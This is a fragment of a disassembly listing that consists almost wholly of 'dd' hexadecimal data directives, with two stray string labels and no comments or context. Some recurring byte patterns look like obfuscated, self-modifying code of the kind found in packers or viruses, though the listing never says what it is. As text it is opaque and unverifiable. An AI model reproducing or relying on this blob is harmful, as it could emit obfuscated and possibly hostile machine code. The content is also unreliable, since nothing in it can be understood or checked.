5ADE2400h dd 0D9DEAF5Dh, 0A42469B1h, 0A66EB5B5h, 0F7B07BEFh, 10064924h dd 0DEAF2AC4h, 67B4A94Ah, 0B3DD471Ah, 86FEAF4Dh, 9057F08Eh dd 325FAB69h, 3BC5AB69h, 0CA99AF4Dh, 2088008Eh, 10E4F2A1h dd 22632463h, 30D8A854h, 0ECDEAECDh, 76C82742h, 3536AF4Dh dd 41DEAF4Dh, 0CAF6B4D5h, 0F218EEE0h, 551F15BCh, 80BFCF6Dh dd 5F522AC0h, 76B4A947h, 3BDD471Eh, 0C6FEAF4Dh, 9257F48Eh dd 235FAB69h, 0B3C9AB69h, 8A9DAF4Dh, 0D3CE928Eh, 83532467h dd 0ABD8A868h, 471E101Ch, 9E80D910h, 4053151Ch, 2380C54Ah dd 3189AF27h, 0ECDEAF4Eh, 291DF06Dh, 3FFAD3C4h, 99FAEBCCh dd 0CEDEAF5Ah, 621DF80Ah, 0BCBCB8CCh, 0D9DEACCBh, 1455C94Dh dd 772B3AB2h, 3BB4A94Ah, 9DDD471Bh, 90FEAF4Dh, 1357F18Eh dd 0F75FAB69h, 0D9C5AB69h, 0BA98AF4Dh, 6D3F958Eh, 80258F6Eh dd 20ED5762h, 0C8D98544h, 41733AC6h, 2E53A94Ah, 0DFD41CDFh dd 48EAF27h, 76DEAF4Eh, 631DF76Dh, 99FAEBC4h, 0CAFAEBCCh dd 67DEAF54h, 0DA1DFF0Dh, 5B971350h, 0ECCD4612h, 0D7C7AF4Dh dd 0C330051Ah, 0EDE9E41Dh, 14198221h, 54EFA986h, 0AF57FF75h dd 89BEFF69h, 0E3BFCF1Fh, 0F764C97Ch, 5D86F5C4h, 14BF64C6h dd 0C3368B49h, 5ADEAF4Dh, 6716624Ch, 8B8B16B1h, 8329054Bh dd 76DEBBA5h, 37F2664Dh, 13E6405Fh, 0EA151FF6h, 559C2438h dd 26D4EEC4h, 10432680h, 0B5D8A849h, 0F34B5012h, 34D8A87Ch dd 18575FFAh, 0C8D9B4DCh, 8F8BAF27h, 0B3DEAF4Eh, 841DF26Dh dd 0E8FAC3C4h, 72FAEBCCh, 3BDEAF5Bh, 0B51DFA08h, 2722EFCEh dd 67DEAF41h, 9EFF1E48h, 23045B27h, 92B305B9h, 6A932A8Bh dd 518DA94Ah, 9E36FE4Dh, 0EEDEAF4Dh, 0EE876C14h, 32DA8B01h dd 0CCDA8B09h, 0ADDEAF4Dh, 0EF966C1Ch, 3BDEABA5h, 1A5AD04Dh dd 9E2D24E7h, 0C13BB1F3h, 979A2479h, 0DB5DA049h, 67DEAF4Dh dd 0FFDE2482h, 0D3DA8B09h, 9DDEAF48h, 561924F5h, 7361C951h dd 0D986F0F3h, 0DA36FF4Dh, 0CCDEAF4Dh, 0FF866C15h, 0BADA8B09h dd 81DA8B09h, 8EDEAF4Dh, 0A40D6C1Dh, 0EB287097h, 0EA0DF947h dd 0EBC9AAF0h, 8753244Bh, 0B2D8A861h, 9AC01AD0h, 236B504Bh dd 0DD8A85Fh, 0B036F94Dh, 0F9DEAF4Dh, 65806C13h, 0F7DA8B39h dd 22DA8B09h, 0DBDEAF4Dh, 48CD6C1Bh, 1934D9B2h, 365356C6h dd 0DFD4D3B3h, 48DAF27h, 76DEAF4Eh, 601DF46Dh, 99FAF3C4h dd 0CAFAEBCCh, 67DEAF59h, 121DFC0Eh, 0D9DEA6A4h, 237E7A4Dh dd 56BAAF5Fh, 0EB21F2FFh, 758FAF27h, 0CEDEAF4Eh, 3E1DF66Dh dd 0B7FAE3C4h, 0DDFAEBCCh, 0ECDEAF51h, 0AD1DFE0Ch, 0C882A3BBh dd 0ACF512EDh, 0E7232AC4h, 67B4A94Ah, 0B3DD471Bh, 87FEAF4Dh dd 9857F18Eh, 325FAB69h, 3BC2AB69h, 0CB98AF4Dh, 9B404F8Eh dd 0F68072DCh, 3ED76C5Dh, 0DFD9A084h, 0F0932A8Bh, 1099A94Ah dd 531A32F3h, 8B8A1CAh, 71B8FF2Dh, 368576D8h, 0E3B9172Bh dd 0ED5FCE15h, 0F8C5B869h, 0B45FC979h, 8E21291Dh, 9BD9BDA0h dd 0CEDEBBA5h, 9DD0E84Dh, 0C71BD98Dh, 0BE5ECDD1h, 0A1AAFBD7h dd 2E3A3981h, 0B8D1F6B5h, 9DDEAF43h, 0CEDEA6A4h, 0E7BC334Dh dd 0C78A352Ah, 5C536300h, 0EAD4D3B3h, 76DEA9A5h, 8924FF4Dh dd 926B96D2h, 0CEDEA9C3h, 0B26B264Dh, 0E9D8A85Dh, 0FF677FB2h dd 65D96B14h, 71D7BEC8h, 0D26B244Bh, 5BD8A87Fh, 0C9C2E2C8h dd 67B4FC4Bh, 0B3DD471Ah, 86FEAF4Dh, 9057F08Eh, 325FAB69h dd 3BC2AB69h, 0CA99AF4Dh, 5E65018Eh, 6F04DDF1h, 0BF369FECh dd 0DDEAF4Dh, 7CFF280h, 0BA7A5C6Dh, 0B0AF9512h, 9AC86AD8h dd 7B55F04Bh, 61D9A838h, 36799A25h, 0FDDA2E30h, 0F76D1716h dd 532208F3h, 9253AE28h, 62D8A85Bh, 0C9CC42F8h, 6663864Bh dd 3ED8A857h, 0D3A251C8h, 560E504Bh, 60E89236h, 4F2068CCh dd 18579DEEh, 0C8D9AEACh, 67DEA8A4h, 4A1F984Dh, 0A89D5074h dd 0F0932A8Bh, 0FD89A94Ah, 3CC712F0h, 0A17EC74Bh, 0C537E7B6h dd 80DEAF4Dh, 0C8B7A46Ch, 343C7501h, 0E85FFD7Ah, 7FCBC969h dd 664BAC0Ah, 62D8A852h, 0C9CC42F8h, 37DEC54Bh, 0B3DEACA5h dd 1A868F4Dh, 0C89A2615h, 529A2E49h, 3BDEB849h, 5E8EEF4Dh dd 0AD3078EAh, 1B202AC0h, 6DFA947h, 0DFD981A8h, 0ECB47FB2h dd 76DD471Ah, 64FEAF4Dh, 0E157F08Eh, 8A5FAB69h, 67CAAB69h dd 0E499AF4Dh, 5C57DB8Eh, 0EAD99F78h, 6A932A8Bh, 819DA94Ah dd 0C6325240h, 8F254A25h, 0F5015FCh, 0B75FB705h, 97AAEC69h dd 0B9DEC546h, 76DEACA5h, 0F8838F4Dh, 0B9B22610h, 0EA9A2E49h dd 67DEB449h, 708BEA4Dh, 0EF7B431Bh, 0F7B744E5h, 76D6461Ch dd 786EAF4Dh, 5F3F6CFDh, 31840FA3h, 60CC42F8h, 0E960C94Bh dd 275B224Ch, 86D8A531h, 7536F84Dh, 1BDEAF4Dh, 14816C12h dd 4FDA8B31h, 7FDA8B09h, 0F4DEAF4Dh, 0A9906C1Ah, 8CB53910h dd 6A9F12C6h, 0D28CA94Ah, 9DDEAF45h, 634858F6h, 9EA2FA46h dd 6321CE12h, 318BAF27h, 0ECDEAF4Eh, 2B1DF26Dh, 3FFAC3C4h dd 99FAEBCCh, 0CEDEAF57h, 6F1DFA08h, 6B5C3700h, 66B8CD64h dd 69576AA8h, 70D99C04h, 0D38CAF27h, 9DDEAF4Eh, 941DF56Dh dd 63FAFBC4h, 0B7FAEBCCh, 0D9DEAF51h, 881DFD0Fh, 0D580B0F5h dd 69CE35A6h, 86E31A64h, 4B53A94Ah, 61D41CCFh, 5B88AF27h dd 0D9DEAF4Eh, 0B21DF16Dh, 72FADBC4h, 3FFAEBCCh, 9DDEAF59h dd 1F1DF90Bh, 0EE08241Dh, 6ED8B49h, 0DFD99D8Ch, 0ED2B3AB2h dd 0FBD1A94Ah, 3BDEAF4Bh, 0B6DB3AC6h, 1655A94Ah, 60533244h dd 3653A94Ah, 0DFD41C3Bh, 48DAF27h, 76DEAF4Eh, 601DF46Dh dd 99FAF3C4h, 0CAFAEBCCh, 67DEAF57h, 0AB1DFC0Eh, 313BE13Eh dd 5461ED25h, 0E68BBA69h, 0EFF29CF4h, 7354FF4Bh, 9CDEC5DDh dd 67DEACA5h, 70848F4Dh, 0FD8A2617h, 0C89A2E49h, 76DEB849h dd 0F88CED4Dh, 56534A78h, 0AF6B242Dh, 68D8A87Eh, 20BF5DF2h dd 0D9DEA6A5h, 43D1B64Dh, 5A0F548Bh, 0BDD16D79h, 9DDEAF49h dd 867B112Bh, 0AF55FF14h dd 9A5386DEh, 26D8A85Bh, 0EBEF2AD8h, 26DEC54Bh, 3BDEACA5h dd 5E868F4Dh, 0EA9A2615h, 439A2E49h, 0B3DEB549h, 1A8EEF4Dh dd 9D01E475h, 0FFB99EDFh, 3CEDF2C8h, 0CBDEC54Bh, 0CEDEACA5h dd 0A4808F4Dh, 97AA2613h, 0FD9A2E49h, 0ECDEB349h, 0B588E94Dh dd 9D00D500h, 949CEF25h, 36326AAh, 1D8A866h, 0A19149CCh dd 0F5032A8Ah, 0ECD1A94Ah, 76B4AF4Dh, 3BDD4718h, 0C0FEAF4Dh dd 0A257F28Eh, 235FAB69h, 0B3C7AB69h, 8C9BAF4Dh, 1F1A3C8Eh dd 0FF4BBCC5h, 3CCB02C0h, 6C69A04Bh, 0FD833AB2h, 0EA57A94Ah dd 0B5D9B534h, 0E95F2AC4h, 0ECB4A94Ah, 76DD471Bh, 65FEAF4Dh dd 0E957F18Eh, 8A5FAB69h, 67C3AB69h, 0E598AF4Dh, 95FA1B8Eh dd 0BDDAE3C0h, 9E1C30F8h, 3BDEAF41h, 5FAE6274h, 37C37BEAh dd 0F26713A0h, 0ED281842h, 0C2A32AC6h, 7153A94Ah, 70D4680Ch dd 0B6DFECC4h, 9AD686F0h, 0D56B224Bh, 0DED8A58Ah, 0B3DEAF7Eh dd 0EA350BBEh, 0ECDEAFF5h, 21EA44Dh, 3BC66D4Eh, 91FAEBC6h dd 0CEDE471Eh, 0E685AF4Dh, 0B3DEB88Eh, 0FD82264Dh, 0C89A265Dh dd 4166F459h, 0C4DE30EDh, 0B99A24ADh, 0A43E5049h, 6436F94Dh dd 93DEAF4Dh, 50806C13h, 6DDA8B39h, 6DDA8B09h, 7DDEAF4Dh dd 4C5D6C1Bh, 946D72A9h, 6E36417Dh, 0A0DEAF4Dh, 0D82ECF2Ch dd 297BFA47h, 71671AC6h, 8584A94Ah, 0EA2A91FEh, 0B863222Ch dd 0EAD8A5FEh, 0B91907C0h, 72EB174Bh, 69ED376Bh, 70D99DBCh dd 2D1F6066h, 0A521DEC5h, 4D3BDEACh, 125E818Fh, 49EAA226h dd 49439A2Eh, 4DB3DEB3h, 5E983E8h, 0D98BA4F3h, 2E9DB58Bh dd 0E1810607h, 1001F346h, 61E9h, 10E900h, 3B1F0000h, 0C2EA8242h dd 1E2E1EE9h, 0E6FDBA45h, 0F612B94h, 1089h, 0BE900h, 46250000h dd 0D0F4F802h, 0C176F426h, 6AC38Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 9156D8C3h dd 550F9F58h, 5ABF6048h, 0F1A354Ch, 489h, 4FBE6600h, 0C08B619Ch dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 44C35545h dd 0E0A52E67h, 0AE9F5A7h, 0B0000000h, 37003B95h, 0BF977D0Fh dd 1BD8379h, 60731h, 0BD830975h, 6070A55h, 50197400h, 0B8C08B53h dd 4B9h, 217D8589h, 9D8D0607h, 609B459h, 585BD3FFh, 0A55BD83h dd 74000607h, 0B8535017h, 4B9h, 217D8589h, 9D8D0607h, 609B0FAh dd 585BD3FFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 8EC35141h, 5E50E546h, 56006A6Eh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 66F78B08h dd 0E9375A58h, 0C08BF5B9h, 860F60h, 52000000h, 5EC1B70Fh dd 0C18B4061h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 1FC35545h, 59C7B2B2h, 8FA362D1h, 0DFCF8166h, 4EB6Ch dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 0B60C351h, 89FC603Eh, 729E9B5h dd 0BD896106h, 6070B49h, 1F19858Dh, 6A0607h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 864F52C3h dd 2C3EB2F3h, 1E65BD23h, 66900607h, 502517BFh, 0FE8h, 0A67B5B00h dd 0D77233A3h, 61476893h, 9C3D84Ch, 6A905Fh, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 0A30378C3h dd 0F88B66FEh, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 6A4BEAC3h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 0E9B04BFBh dd 14h, 6F264DD6h, 27028F1Fh, 6EEEC8E7h, 0CCB5EC86h, 27CF5B1Eh dd 0CB01858Dh, 0BD89060Ah, 6071091h, 6A05C083h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 31FEC352h, 0BB24419Bh, 0B2BFA106h, 9031DB9Ah, 10E86050h dd 0A5000000h, 1053A66Bh, 779A70F5h, 8F0D988Eh, 506E0A80h dd 0EDB95858h, 61478D26h, 57006A90h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0E8ECEB3Dh dd 0A7B25229h, 9D9D0984h, 6A06071Eh, 0E9858900h, 6A06071Bh dd 95295600h, 607191Dh, 0CD95FF5Fh, 8D06071Bh, 0AA5B79Dh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 8B33CAA9h, 0FFB35070h, 0FFF8D3FFh, 70FA585h dd 0B64EBF06h, 97E95B1Ch, 0E8000006h, 0 dd 0BED815Dh, 6A060ACBh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 54B1C351h, 0E261C565h dd 0BC8EF22h, 71CB1BDh, 0DDBD8106h, 0D006072Ch, 0F000007h dd 0F986h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 4D5F5564h, 18ADE515h, 0F8564EB0h dd 3D9D8B5Fh, 6A06072Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 1E30C357h, 81F28B57h dd 100E3h, 0CBF6600h, 0FDB0B14h, 7685h, 83F08B00h, 0AC93ABDh dd 840F0006h, 15h, 2AD99501h, 6CE90607h, 60000000h, 0F98B6656h dd 98E68058h, 3A85C761h, 1060AC9h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 0C492C356h, 66BC0F90h, 0E95F17BFh, 2Fh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 99C35141h, 0C74EC6D8h dd 0AC93A85h, 6, 0E1BD8B00h, 8D060717h, 72F3D9Dh, 0C9B58B06h dd 81060706h, 0FFFEFF23h, 8C66F8FFh, 35BD89DBh, 0F6060733h dd 840F04C3h, 52h, 335D95FFh, 0B58B0607h, 6070529h, 12E950h dd 0E5910000h, 878261h, 0EA00D883h, 6C6C81D8h, 8773FFA9h dd 6A240489h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 92ECC356h, 8D893AFEh, 6070C31h dd 1AADB52Bh, 0CCE90607h, 6A000003h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 6D3DC350h dd 5840FC7h, 0BF000000h, 7E190DF5h, 0E2C68166h, 8900B0A1h dd 723559Dh, 970E606h, 7110D9Dh, 6A71E406h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 294AC355h dd 93E826ECh, 0EF9D430Bh, 66D8B60Fh, 0EAACEE81h, 6BAh dd 9E85600h, 0C2000000h, 0EDAD7873h, 9F98A0E8h, 5E5E5F52h dd 0E8C1C38Bh, 66F38B04h, 6AE2F7h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0BA1540C3h, 0CB49A7ADh dd 812DFE8Fh, 0EE0332C7h, 8BD82B7Ah, 7057DB5h, 0F18B9306h dd 93F88B50h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 93C35343h, 0FFF53D24h, 72CDDB5h, 0FDBD8B06h, 0FF060718h dd 7320195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 2BDAA768h, 1859B529h, 0F9BE0607h dd 604D5960h, 4C2DB860h, 89611721h, 7092D9Dh, 0B06106h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0F8C35141h dd 0B4326F23h, 0B9C348CBh, 19BD3182h, 0E606070Bh, 0D5950170h dd 0E406070Ah, 81BD8B71h, 3C060718h, 54830F61h, 6A000002h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 0A2AFC353h, 0D1A6C9C9h, 6AD8B60Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 7476C351h, 2138B877h, 0BD897476h, 6073361h, 25919D29h dd 9D890607h, 60720F1h, 6BAh, 12E900h, 0FA320000h, 19BAD91Ch dd 5E288535h, 1DC5C9F6h, 793F7520h, 8509C38Bh, 6071021h dd 6A04E8C1h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 0F08AC355h, 0F08BFF8Bh, 0FE2F766h dd 384h, 0FA8B6600h, 3830Fh, 0B70F0000h, 6AD82BF6h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 8D5DC353h, 6A580AB3h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 2BFBC353h, 58880FD8h dd 81000001h, 0C43B7FCFh, 7B92Bh, 0BD890000h, 6070415h dd 3B00C183h, 3C860FD9h, 6A000001h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 1563C356h dd 4DF05C5Bh, 8C662F10h, 50006AD9h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 0B190A6D6h, 694A05C6h dd 0CE86004h, 0B8000000h, 0F016F08h, 9FC65BA7h, 8B6612EDh dd 721CDBDh, 6E85906h, 88000000h, 0BC056811h, 2171BF11h dd 615B1E92h, 0F04C1F6h, 9284h, 5D95FF00h, 5B060733h, 0F6816652h dd 2B5EDA76h, 0BD2960C3h, 60730D5h, 14E960h, 0D6CD0000h dd 0F1B06103h, 9CC92F4Fh, 0B574FCA1h, 2D3A7344h, 8F0FEBF5h dd 0 aAa4 db 'aa=4',8,0 dw 0F00h dd 4E86h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 0CB76AE39h, 8F00BE32h, 50E91880h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 0B645C350h, 2072B2DFh, 8B861F70h dd 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 5081D47Bh, 7909EC3Ah, 8166D480h, 8B3663DEh dd 6AD88BC3h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 42A0C352h, 0DD6FD429h, 0F527525Ch dd 0DE9h, 0CC813800h, 9D41320Ah, 9E127515h, 0F508157h dd 18Fh, 0C75FFC00h, 7180D85h, 23EBF906h, 0C859BE7Dh, 0C08B6781h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0D6C35141h dd 8EE11756h, 9D3172A2h, 60707B9h, 2CDDBD81h, 7D00607h dd 850F0000h, 59h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 6DC35040h, 68D0FD5h, 8B000000h, 722F9BDh dd 0DD85FF06h, 6A06072Ch, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 6888C351h, 890FA3E2h dd 81E5D744h, 0D7DA7C7h, 0DDB5FF12h, 6006072Ch, 19759D0Bh dd 0E38A0607h, 195FF61h, 89060732h, 701B19Dh, 78B89006h dd 8B123456h, 70611BDh, 7D9D8D06h, 0E9060AD1h, 0FFFFF973h dd 1849B529h, 0BF660607h, 0C18B7AC0h, 22BD8529h, 4EB0607h dd 0 aFb2j db 'f2j',0 db 51h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 59CC3E52h, 0EEBABC18h, 2F04CE81h, 858D1723h, 6071F19h dd 3159B589h, 66500607h, 89AA50BFh, 6A2404h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 52821AC3h dd 0CE9h, 0EC9A8F00h, 0FD0DC669h, 4F2D44AFh, 6A006A0Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0BB9C353h, 0FCE33AE1h, 0C18D093Eh, 8906071Bh dd 72C09B5h, 6A006A06h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0E3C4C353h, 696E1BA6h dd 0D356858Dh, 0C083060Ah, 8B50F905h, 240489FBh, 0FCF38060h dd 2D699D89h, 6A610607h, 0D1B58B00h, 6A060715h, 0D7816600h dd 95FFCAE3h, 6071BCDh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 25C35646h, 2ED2F797h, 58C0F6Ah, 52000000h dd 5EFFB70Fh, 14E9h, 213B5400h, 0D05F0217h, 0D284BD3Bh dd 8D2D028Dh, 2682E603h, 8DF88BD6h, 0AA5B79Dh, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0BD89217Dh, 6072AF9h, 6AD3FFh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 8D2929C3h, 6072FDDh dd 0FA585FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 0E99847C3h, 0DDCh, 0E8h, 0ED815D00h dd 60AD360h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 44C35343h, 435BD272h, 0BD5C56ADh, 0EFE78166h, 6E958h dd 9BFF0000h, 91C7BA47h, 2CDDBD81h, 7D00607h, 860F0000h dd 134h, 219D8BF5h, 6A060718h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 0CEB4C351h, 3DE3B157h dd 2315B58Bh, 0E3810607h, 100h, 138F0Fh, 0EE90000h, 69000000h dd 0C14D5359h, 63ED9637h, 17623DABh, 0CF81664Dh, 0DB0B297Ch dd 0A2850Fh, 95890000h, 6070929h, 0D1A7BD83h, 0F00060Ah dd 5984h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 8D0F3CBDh, 1, 7BE9F5h, 0E8560000h dd 0Fh, 8D954A39h, 0F30996FBh, 0F300173Fh, 0E83FB884h dd 13h, 0E4B3E738h, 15088E67h, 0A6B020B2h, 0EE2F9E1Ah dd 5E6507EBh, 85C75E5Fh, 60AD1A7h, 1, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 5DC35141h, 11F0D00Eh, 1CE9h dd 49BD8900h, 0F8060702h, 0D1A785C7h, 60Ah, 8E0F0000h dd 5, 6F9BBDBFh, 219D8D5Fh, 66060718h, 890FF18Bh, 6, 1865BD8Bh dd 23810607h, 0FFFFFEFFh, 87FB8CBEh, 0FA8B6641h, 0F6DB8C66h dd 840F04C3h, 68h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 0A1C35242h, 0B46EAC22h, 8D905287h, 335D95FFh dd 5E80607h, 0D000000h, 3689C167h, 12F78166h, 60505EF3h dd 0AE8h, 821D5F00h, 89967BEBh, 5AC3C0CDh, 24048961h, 13E9h dd 0BC5E00h, 840B76EEh, 0EB544F90h, 79C97265h, 0D828BFC0h dd 3D4E9h, 0FEB70F00h, 6A00B0h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 82ED4FC3h, 0DC77F89Bh dd 6A70E6BEh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 0CE8EC355h, 9B58B50h, 5E060700h dd 0B70F71E4h, 0D8B60FF6h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 19C35545h, 8A0F7Eh, 0BA000000h, 6, 1D018D89h dd 0C38B0607h, 12E9h, 0A5783B00h, 9549894Ah, 5739610Ah dd 74BA82F2h, 0C17B02DBh, 6A04E8h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 78A3A5C3h, 0E4E02CFDh dd 0E2F766F2h, 4BD8D89h, 0D82B0607h, 0DE9h, 0E5129200h dd 0B76F8EA4h, 0C65A5B5h, 0E89354F5h, 0Ah, 52E271CFh, 87417C7Dh dd 58BF1159h, 5E725CF8h, 8CBF6650h, 7E99356h, 0C7000000h dd 0DF55E4C9h, 0FFFC311Bh, 72CDDB5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0BF666096h dd 8589A628h, 6070B29h, 195FF61h, 6A060732h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 3FA8C357h, 65A00B72h, 0BFB5A759h, 56EF7979h, 8B6600B0h dd 6A70E6F7h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 196DC350h, 6A71E4h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0FF945C3h dd 582h, 90D2BF00h, 613C441Ch, 217830Fh, 89600000h, 708C195h dd 0F61F806h, 6AD8B6h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 9ED717C3h, 9E9h, 12BE5300h, 0A74BE0D9h dd 6BAB4C7h, 31000000h, 700859Dh, 0F9B70F06h, 6AC38Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 3B021BC3h, 83F5B507h, 6F1B58Bh, 0E8C10607h, 55006A04h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 70712D7Eh, 3089BD89h, 0F7660607h, 57006AE2h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0C8F6CFC4h dd 0CB1B49D7h, 5EDE8166h, 0B589FC50h, 6072F75h, 6AD82Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 69E33C3h, 0B589586Eh, 6073229h, 880FD82Bh, 11Dh, 18EDBD8Bh dd 7B90607h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 7546C355h, 0AE985h dd 8CE60000h, 0FFF68CFEh, 0C7D8D066h, 83FE8B66h, 0F38B00C1h dd 3BF8B70Fh, 0D2860FD9h, 89000000h, 704C5BDh, 0D98C6606h dd 1509B58Bh, 0C1F60607h, 0AA840F04h, 8B000000h, 72005B5h dd 5D95FF06h, 6A060733h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 0EF17C351h, 89396437h dd 71279BDh, 6A5B06h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 763F0CC3h, 2BFB8B2Ah, 52006AC3h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 12E875h, 0D15E0000h, 57B10B9h, 6D8F10EDh, 0B0C9DB11h dd 59B3CA29h, 810F60h, 89000000h, 723158Dh, 3D5F6106h dd 834h, 7860Fh, 5F500000h, 10E9h, 0FC08B00h, 887h, 0B58B5000h dd 6071C15h, 8BC38B5Fh, 0FB8B66D8h, 2F3D85C7h, 8BF30607h dd 895173C6h, 72C7595h, 0C08B5E06h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 4C35646h, 0BD81138Bh, 6072CDDh dd 7D0h, 38850Fh, 9D890000h, 6070A75h, 8693BE66h, 2CDD85FFh dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0FEB068C3h, 3682FC8h, 1EC8E681h, 0B5FF1D1Bh dd 6072CDDh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 74C35040h dd 674B728h, 117E2D4h, 730B9B5h, 195FF06h, 8B060732h, 73075BDh dd 6A409006h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0E0AC356h, 30D41C87h, 60DFDD18h dd 0B3C9BA66h, 0BA30BB66h, 65BD8361h, 6072Fh, 0E3840Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 0EBFE25C3h, 0BD83C6F7h, 607044Dh, 0B6840F00h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0F484C351h, 60B80FCCh, 609BD0Bh dd 95FF0607h, 6072F65h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 27C35242h, 5E1D0372h, 0FE951h, 51F10000h dd 95B44418h, 4E25FE57h, 4E7FA5C7h, 0FC00B39h, 4C84h, 0B58B5600h dd 6072D19h, 0B48D8D5Fh, 8B06074Dh, 70FA1BDh, 5B806h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 305AB3C3h, 95BD03EEh, 1060700h, 71975B5h, 89E1FF06h dd 700E1BDh, 1DBD8306h, 60732h, 5EC840Fh, 0B9600000h, 29F826Bh 